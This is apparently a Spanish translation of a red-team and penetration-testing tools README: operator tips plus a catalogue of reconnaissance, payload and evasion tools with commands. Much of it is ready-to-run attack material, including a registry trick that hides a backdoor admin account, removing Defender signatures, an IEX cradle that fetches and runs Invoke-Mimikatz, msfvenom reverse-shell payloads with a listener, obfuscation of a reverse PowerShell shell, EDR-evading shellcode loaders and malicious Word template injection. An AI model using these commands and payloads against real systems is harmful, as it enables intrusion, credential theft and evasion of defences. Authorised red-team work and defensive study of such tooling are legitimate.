Herramientas y Técnicas para Red Team / Pruebas de Penetración
Este repositorio de GitHub contiene una colección de 150+ herramientas y recursos que pueden ser útiles para actividades de red team.
Algunas de las herramientas pueden estar específicamente diseñadas para red team, mientras que otras son de propósito más general y pueden adaptarse para su uso en un contexto de red team.
🔗 Si eres un Blue Teamer, echa un vistazo a BlueTeam-Tools
Advertencia
Los materiales en este repositorio son solo con fines informativos y educativos. No están destinados para su uso en actividades ilegales.
Nota
Oculta los encabezados de la lista de herramientas con la flecha.
Haz clic en 🔙 para volver a la lista.
Aprende de los Red Teamers con una colección de consejos de Red Team. Estos consejos cubren una variedad de tácticas, herramientas y metodologías para mejorar tus habilidades de red team.
Descripción: 'Qakbot añadió un EventListener para el movimiento del ratón al adjunto de contrabando HTML para evitar la evasión en sandboxes; el zip no se soltará.'
Crédito: @pr0xylife
Enlace: Twitter
Crédito: @malmoeb
Enlace: Twitter
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Descripción:** *'Crear cuentas es arriesgado al evadir el equipo azul, pero al crear un administrador local, usa un poco de magia en el registro para ocultarlo.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Inhabilitar Windows Defender eliminando firmas```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Descripción: 'Un poco desordenado, pero si Windows Defender te está causando un gran dolor de cabeza, en lugar de desactivarlo (lo que alerta al usuario), deberías neutralizarlo eliminando todas las firmas.'
Crédito: @Alh4zr3d
Enlace: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Descripción:** *'A veces quieres iniciar sesión en un host mediante RDP o similar, pero tu usuario tiene una sesión activa. Habilita múltiples sesiones por usuario.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Alternativa local a Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Descripción: '¿Estás cansado de subir Sysinternals PsExec.exe al hacer movimiento lateral? Windows tiene una mejor alternativa preinstalada. Prueba esta en su lugar.'
Crédito: @GuhnooPlusLinux
Enlace: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Descripción:** *'Cuando sea posible, usa lo disponible en lugar de subir herramientas a las máquinas (por muchas razones). PowerShell/.NET ayudan. Ej: escáner de puertos simple en PowerShell.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Descripción: 'La mayoría de las grandes organizaciones usan proxies web hoy en día. El cradle de descarga estándar de PowerShell no es consciente del proxy. Usa este.'
Crédito: @Alh4zr3d
Enlace: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Descripción:** *'Te sorprendería lo que puedes descubrir solo con los marcadores de un usuario. Por ejemplo, puntos finales internos a los que puede acceder.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Consultar registros DNS para enumeración```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Descripción: 'La enumeración es el 95% del juego. Sin embargo, lanzar toneladas de escaneos para evaluar el entorno es muy ruidoso. ¿Por qué no simplemente preguntar al servidor DC/DNS por todos los registros DNS?'
Crédito: @Alh4zr3d
Enlace: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Descripción:** *'Encontrando rutas de servicio sin comillas sin PowerUp'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Evitar un símbolo del sistema deshabilitado con /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Descripción: 'Este símbolo del sistema ha sido deshabilitado por su administrador...' Por lo general se puede ver en entornos como PCs kiosko, una solución rápida y poco ortodoxa es usar /k a través del cuadro de ejecución de Windows. Esto ejecutará el comando y luego mostrará el mensaje de restricción, permitiendo la ejecución de comandos.
Crédito: Martin Sohn Christensen
Enlace: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Descripción:** *'¿Estás cansado de que Windows Defender elimine mimikatz.exe? Prueba esto en su lugar.'*
**Crédito:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Enlace:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Comprueba si estás en una máquina virtual```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Descripción: '¿Quieres saber si estás en una máquina virtual? ¡Consulta las claves del registro y descúbrelo! Si aparecen resultados, entonces estás en una máquina virtual.'
Crédito: @dmcxblue
Enlace: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Descripción:** *'AppLocker puede ser un fastidio. Enumera para ver qué tan doloroso es'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
### [🔙](#tool-list)Acceso directo a CMD con 6 píxeles mediante mspaint
1. Abra MSPaint.exe y establezca el tamaño del lienzo en: Ancho=6 y Alto=1 píxeles
2. Acérquese para facilitar las siguientes tareas
3. Usando el selector de color, establezca los valores de los píxeles a (de izquierda a derecha):
- 1º: R: 10, G: 0, B: 0
- 2º: R: 13, G: 10, B: 13
- 3º: R: 100, G: 109, B: 99
- 4º: R: 120, G: 101, B: 46
- 5º: R: 0, G: 0, B: 101
- 6º: R: 0, G: 0, B: 0
4. Guárdelo como Mapa de bits de 24 bits (*.bmp;*.dib)
5. Cambie su extensión de bmp a bat y ejecútelo.
**Descripción:** *'Un método inusual, pero efectivo, de obtener un shell creando un acceso directo a cmd.exe dibujando ciertos colores en Microsoft Paint. Debido al algoritmo de codificación utilizado para escribir archivos BMP, es posible dictar datos ASCII escritos en un archivo seleccionando cuidadosamente ciertos colores RGB.'*
**Crédito:** [PenTestPartners](https://www.pentestpartners.com/)
**Enlace:** [Blog](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#gainingacommandshell)
### [🔙](#tool-list)Suplantación de enlaces con el método JavaScript PreventDefault
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PreventDefault Example</title>
</head>
<body>
<a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
</body>
</html>
Descripción: Se ha observado que actores de amenazas utilizan esta técnica para engañar a las víctimas y hacer que hagan clic en enlaces de descarga de malware falsificados dentro de la página. Usando el método JavaScript PreventDefault, puedes falsificar el enlace de hover para mostrar un enlace legítimo google.com, pero al hacer clic, la víctima será redirigida a tu enlace malicioso bing.com. Ideal para lograr que las víctimas descarguen cargas útiles a través de un sitio controlado.
Enlace: Documentación de PreventDefault
```powershell
Copy-Item -Path "C:\tmp" -Destination "\<ip_running_responder>\c$"
**Descripción:** *'Cuando realizo una Evaluación de Compromiso, a menudo le pregunto al cliente si puedo hacer una última verificación rápida: `Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"`. Si Responder pudiera capturar el hash, el firewall permite conexiones SMB salientes'*
**Crédito:** [@malmoeb](https://twitter.com/malmoeb)
**Enlace:** [Twitter](https://twitter.com/malmoeb/status/1628272928855826433)
### [🔙](#tool-list)Desactivar AV con SysInternals PsSuspend
**Descripción:** *'Usando la herramienta Sysinternals de Microsoft PsSuspend.exe es posible suspender algunos ejecutables de servicios de antivirus. A la herramienta firmada por Microsoft se le puede pasar el PID o el nombre de un servicio en ejecución, y suspenderá el proceso a través de la API de Windows NtSuspendProcess.'*
**Publicación de blog relacionada:** [Evadiendo AV mediante Suspensión de Procesos con PsSuspend.exe](https://medium.com/@a-poc/process-suspension-with-pssuspend-exe-0cdf5d16a3b7)
**Enlace:** [Twitter](https://twitter.com/0gtweet/status/1638069413717975046)
Reconocimiento
====================
### [🔙](#tool-list)[spiderfoot](https://github.com/smicallef/spiderfoot)
SpiderFoot es una herramienta de automatización de inteligencia de código abierto (OSINT). Se integra con casi todas las fuentes de datos disponibles y utiliza una variedad de métodos para el análisis de datos, facilitando la navegación de esos datos.
SpiderFoot se puede usar de manera ofensiva (por ejemplo, en un ejercicio de red team o prueba de penetración) para el reconocimiento de su objetivo, o de manera defensiva para recopilar información sobre lo que usted o su organización podrían haber expuesto en Internet.
**Instalación:**```bash
wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz
tar zxvf v4.0.tar.gz
cd spiderfoot-4.0
pip3 install -r requirements.txt
Para obtener instrucciones completas de instalación, consulte aquí.
Uso:```python python3 ./sf.py -l 127.0.0.1:5001
Lots of videos tutoriales de uso [aquí](https://asciinema.org/~spiderfoot)
*Imagen usada de https://github.com/smicallef/spiderfoot*
### [🔙](#tool-list)[reconftw](https://github.com/six2dez/reconftw)
reconFTW automatiza todo el proceso de reconocimiento por ti. Supera el trabajo de enumeración de subdominios junto con varias comprobaciones de vulnerabilidades y la obtención de la máxima información sobre tu objetivo.
**Instalación:**```bash
git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh
Para las instrucciones completas de instalación, consulta aquí.
Uso:```bash
./reconftw.sh -d target.com -r
./reconftw.sh -m target -l domains.txt -r
./reconftw.sh -d target.com -p
./reconftw.sh -d target.com -a
Para obtener instrucciones de uso completas, consulta [aquí](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide).
*Imagen utilizada de https://www.youtube.com/watch?v=TQmDAtkD1Wo*
### [🔙](#tool-list)[subzy](https://github.com/PentestPad/subzy)
Herramienta de takeover de subdominios que funciona basándose en la coincidencia de huellas de respuesta de [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz/blob/master/README.md).
**Instalación:**```bash
go install -v github.com/PentestPad/subzy@latest
Para obtener instrucciones completas de instalación, consulte aquí.
Uso:```bash
./subzy run --targets list.txt
./subzy run --target test.google.com ./subzy run --target test.google.com,https://test.yahoo.com
*Imagen utilizada de https://www.geeksforgeeks.org/subzy-subdomain-takeover-vulnerability-checker-tool/*
### [🔙](#tool-list)[smtp-user-enum](https://github.com/cytopia/smtp-user-enum)
Enumeración de usuarios SMTP mediante VRFY, EXPN y RCPT con funcionalidad inteligente de tiempo de espera, reintento y reconexión.
**Instalación:**```bash
pip install smtp-user-enum
Uso:```bash smtp-user-enum [options] -u/-U host port smtp-user-enum --help smtp-user-enum --version
*Imagen usada de https://www.kali.org/tools/smtp-user-enum/*
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
He preparado un one-liner de bash que:
- Pasivamente recopila una lista de subdominios a partir de asociaciones de certificados ([crt.sh](https://crt.sh/))
- Activamente solicita cada subdominio para verificar su existencia ([httprobe](https://github.com/tomnomnom/httprobe))
- Activamente toma capturas de pantalla de cada subdominio para revisión manual ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Uso:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Nota: Debes tener instalados httprobe, pup y EyeWitness, y cambiar 'DOMAIN_COM' por el dominio objetivo. Puedes ejecutar este script de forma concurrente en ventanas de terminal si tienes múltiples dominios raíz objetivo
Un bookmarklet de JavaScript para extraer todos los enlaces de endpoints de una página web.
Creado por @renniepak, este fragmento de código JavaScript se puede utilizar para extraer todos los endpoints (que comiencen con /) del DOM de la página web actual, incluyendo todas las fuentes de scripts externos incrustados en la página.```javascript
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"
")})}setTimeout(writeResults,3e3);})();
**Uso (Marcador)**
Crea un marcador...
- `Haga clic derecho en la barra de marcadores`
- `Haga clic en 'Agregar página'`
- `Pegue el Javascript anterior en el cuadro 'url'`
- `Haga clic en 'Guardar'`
...luego visite la página víctima en el navegador y haga clic en el marcador.
**Uso (Consola)**
Pegue el Javascript anterior en la ventana de la consola `F12` y presione Enter.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Escáner de vulnerabilidades rápido que utiliza plantillas .yaml para buscar problemas específicos.
**Instalación:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Uso:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff es un vigilante de palabras clave en los registros de transparencia de certificados que escribí en Python. Utiliza la biblioteca certstream para observar los registros de creación de certificados que contienen palabras clave, definidas en un archivo.
Puedes configurarlo para que se ejecute con varias palabras clave relacionadas con tu dominio víctima; cualquier creación de certificado será registrada y puede llevar al descubrimiento de dominios que antes desconocías.
**Instalación:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Uso:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Excelente herramienta para realizar ataques de fuerza bruta en rutas de archivos/carpetas de un sitio web víctima.
**Instalación:**```bash
sudo apt install gobuster
Uso:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#lista-de-herramientas)[feroxbuster](https://github.com/epi052/feroxbuster)
Herramienta diseñada para realizar **Forced Browsing** (navegación forzada), un ataque cuyo objetivo es enumerar y acceder a recursos que no están referenciados por la aplicación web, pero que siguen siendo accesibles para un atacante.
Feroxbuster utiliza fuerza bruta combinada con un diccionario de palabras para buscar contenido no enlazado en directorios objetivo. Estos recursos pueden almacenar información sensible sobre aplicaciones web y sistemas operativos, como código fuente, credenciales, direccionamiento de red interno, etc.
**Instalación: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Instalar: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Instalación: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Para obtener instrucciones completas de instalación, consulte aquí.
Uso:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Se pueden encontrar ejemplos completos de uso [aquí](https://epi052.github.io/feroxbuster-docs/docs/examples/).
*Imagen utilizada de https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif*
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores de la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Características:
- Detección en la nube (API de IPINFO y Código Fuente)
- Rápido (concurrente)
- Multiplataforma (Windows, Linux, Mac)
- Aleatorización de User-Agent
- Aleatorización de Proxy (HTTP, Socks5)
**Instalación:**
Descarga la última [versión](https://github.com/0xsha/CloudBrute/releases) para tu sistema y sigue las instrucciones de uso.
**Uso:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Imagen usada de https://github.com/0xsha/CloudBrute
dnsrecon es una herramienta de pyhton para enumerar registros DNS (MX, SOA, NS, A, AAAA, SPF y TXT) y puede proporcionar varios hosts víctimas asociados nuevos en los que pivotar desde una búsqueda de un solo dominio.
Instalación:```bash sudo apt install dnsrecon
**Uso:**```bash
dnsrecon -d google.com
Shodan rastrea la infraestructura pública y la muestra en un formato buscable. Usando un nombre de empresa, nombre de dominio, dirección IP es posible descubrir sistemas potencialmente vulnerables relacionados con tu objetivo a través de Shodan.
Herramienta para enumerar subdominios, enumerar DNS, detección de WAF, WHOIS, escaneo de puertos, wayback machine, recolección de correos electrónicos.
Install:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Uso:**```python
python3 AORT.py -d google.com
Un programa que verifica si un dominio puede ser suplantado. El programa revisa los registros SPF y DMARC en busca de configuraciones débiles que permitan la suplantación. Además, alertará si el dominio tiene una configuración DMARC que envíe correos o solicitudes HTTP cuando fallan los correos SPF/DKIM.
Los dominios son suplantables si se cumple alguna de las siguientes condiciones:
~all o -allp=none o no existeInstalación:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Uso:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump es una herramienta para enumerar rápidamente buckets S3 de AWS en busca de archivos interesantes. Es similar a un brute forcer de subdominios, pero está diseñada específicamente para buckets S3 y también tiene algunas funciones adicionales que permiten buscar archivos con grep, así como descargar archivos interesantes.
Instalación:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Uso:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Buena herramienta para encontrar información de GitHub con regex, con la capacidad de buscar usuarios y/o proyectos específicos de GitHub.
Instalación:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Uso:**```
./githarvester.py
TruffleHog es una herramienta que escanea repositorios git y busca cadenas de alta entropía y patrones que pueden indicar la presencia de secretos, como contraseñas y claves API. Con TruffleHog, puedes encontrar rápida y fácilmente información sensible que pudo haber sido accidentalmente confirmada y enviada a un repositorio.
Instalar (Binarios): Link
Instalar (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Uso:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap es una herramienta de descubrimiento e identificación de activos. Puede identificar rápidamente protocolos e información de huellas digitales como web/tcp/udp, localizar tipos de activos, y es adecuada para redes internas y externas.
Dismap cuenta con una base de reglas de huellas digitales completa, que actualmente incluye huellas digitales de protocolos tcp/udp/tls y más de 4500 reglas de huellas digitales web, que permiten identificar favicon, body, header, etc.
Instalación:
Dismap es un archivo binario para Linux, MacOS y Windows. Ve a Release para descargar la versión correspondiente y ejecutar:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Uso:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Imagen usada de https://github.com/zhzyker/dismap
Una herramienta para enumerar información de sistemas Windows y Samba.
Se puede usar para recopilar una amplia gama de información, incluyendo:
Instalación: (Apt)```bash sudo apt install enum4linux
**Instalación: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Uso:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Full usage information can be found in this [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
*Imagen usada de https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/*
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Escáner de dns/red/puerto peligrosamente rápido, creado por [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), escrito en rust.
Necesitará un archivo de subdominios. *Por ejemplo, [Lista de palabras de subdominios de Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)*.
**Instalación:**
Descargue la última versión desde [aquí](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Uso:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
*Imagen usada de https://github.com/Esc4iCEscEsc/skanuvaty*
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor es una herramienta de inteligencia, su objetivo es realizar tareas de OSINT y más, pero sin necesidad de ninguna clave API.
**Características principales:**
- Búsqueda de información sobre direcciones IP, ASN y organizaciones.
- Wrapper para ejecutar rustscan, masscan y nmap de manera más eficiente en IP/CIDR.
- Encontrar más dominios relacionados con el objetivo aplicando diversas técnicas (certificado, whois, Google Analytics, etc.).
- Obtener un resumen sobre la dirección IP (impulsado por [@thebl4ckturtle](https://github.com/theblackturtle))
**Instalación:**```bash
go install github.com/j3ssie/metabigor@latest
Uso:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
*Imagen usada de https://github.com/j3ssie/metabigor*
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob es una herramienta para ayudar a encontrar archivos potencialmente sensibles subidos a repositorios públicos en Github.
Gitrob clonará repositorios pertenecientes a un usuario u organización hasta una profundidad configurable y recorrerá el historial de commits, marcando archivos que coincidan con firmas de archivos potencialmente sensibles.
Los hallazgos se presentarán a través de una interfaz web para una fácil navegación y análisis.
**Nota:** *Gitrob necesitará un token de acceso de Github para poder interactuar con la API de Github. [Crea un token de acceso personal](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) y guárdalo en una variable de entorno en tu .bashrc o archivo de configuración de shell similar:*```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Instalación: (Go)```bash go get github.com/michenriksen/gitrob
**Instalar: (Binary)**
Una [versión precompilada](https://github.com/michenriksen/gitrob/releases) está disponible para cada versión.
**Uso:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Imagen usada de https://www.uedbox.com/post/58828/
Gowitness es una utilidad de captura de pantallas de sitios web escrita en Golang, que utiliza Chrome Headless para generar capturas de pantalla de interfaces web mediante la línea de comandos, con un práctico visor de informes para procesar los resultados. Se admite tanto Linux como macOS, y el soporte para Windows funciona en su mayoría.
Instalación: (Go)```bash go install github.com/sensepost/gowitness@latest
La información completa de instalación se puede encontrar [aquí](https://github.com/sensepost/gowitness/wiki/Installation).
**Uso:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
La información completa de uso se puede encontrar aquí.
Imagen utilizada de https://github.com/sensepost/gowitness
Inyecta un enlace a una plantilla de Word remota en un documento de Word.
Esta utilidad basada en Python modifica el enlace settings.xml.rels de un archivo .docx a una plantilla .dotm alojada de forma remota que contiene una macro VBA, la cual se ejecuta cuando se abre el documento y las macros están habilitadas.
Instalación:```bash git clone https://github.com/JohnWoodman/remoteinjector;cd remoteinjector
**Uso:**```bash
python3 remoteinjector.py -w https://example.com/template.dotm example.docx
Chimera es un script de ofuscación de PowerShell diseñado para evadir soluciones AMSI y antivirus. Procesa PS1 maliciosos conocidos por activar AV y utiliza sustitución de cadenas y concatenación de variables para evitar firmas de detección comunes.
Instalación:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Uso:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Msfvenom permite la creación de payloads para varios sistemas operativos en una amplia gama de formatos. También admite la ofuscación de payloads para la evasión de AV.
Configurar el Listener```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Comandos de Msfvenom
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter es una herramienta dinámica de inyección de shellcode, y el primer infectador de PE verdaderamente dinámico jamás creado.
Se puede utilizar para inyectar shellcode en aplicaciones nativas de Windows (actualmente solo aplicaciones de 32 bits).
Shellter aprovecha la estructura original del archivo PE y no aplica ninguna modificación como cambiar los permisos de acceso a memoria en las secciones (a menos que el usuario lo desee), agregar una sección adicional con acceso RWE, o cualquier cosa que parezca sospechosa bajo un escaneo AV.
La información completa del README se puede encontrar aquí.
Instalación: (Kali)```bash apt-get update apt-get install shellter
**Instalación: (Windows)**
Visita la [página de descarga](https://www.shellterproject.com/download/) e instala.
**Uso:**
Simplemente elige un binario legítimo para puerta trasera y ejecuta Shellter.
Algunos consejos útiles se pueden encontrar [aquí](https://www.shellterproject.com/tipstricks/).
Muchas demostraciones de uso de la comunidad se pueden encontrar [aquí](https://www.shellterproject.com/shellter-community-demos/).
*Imagen utilizada de https://www.kali.org/tools/shellter/images/shellter.png*
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze es una herramienta de creación de payloads utilizada para evadir los controles de seguridad EDR y ejecutar shellcode de manera sigilosa.
Freeze utiliza múltiples técnicas no solo para eliminar los hooks de EDR en espacio de usuario, sino también para ejecutar shellcode de manera que evite otros controles de monitoreo de endpoints.
**Instalación:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Uso:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
*Imagen utilizada de https://www.blackhatethicalhacking.com/tools/freeze/*
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Este script creará un documento de Microsoft Word con una imagen remota, lo que permitirá la captura de hashes NTML desde un endpoint víctima remoto.
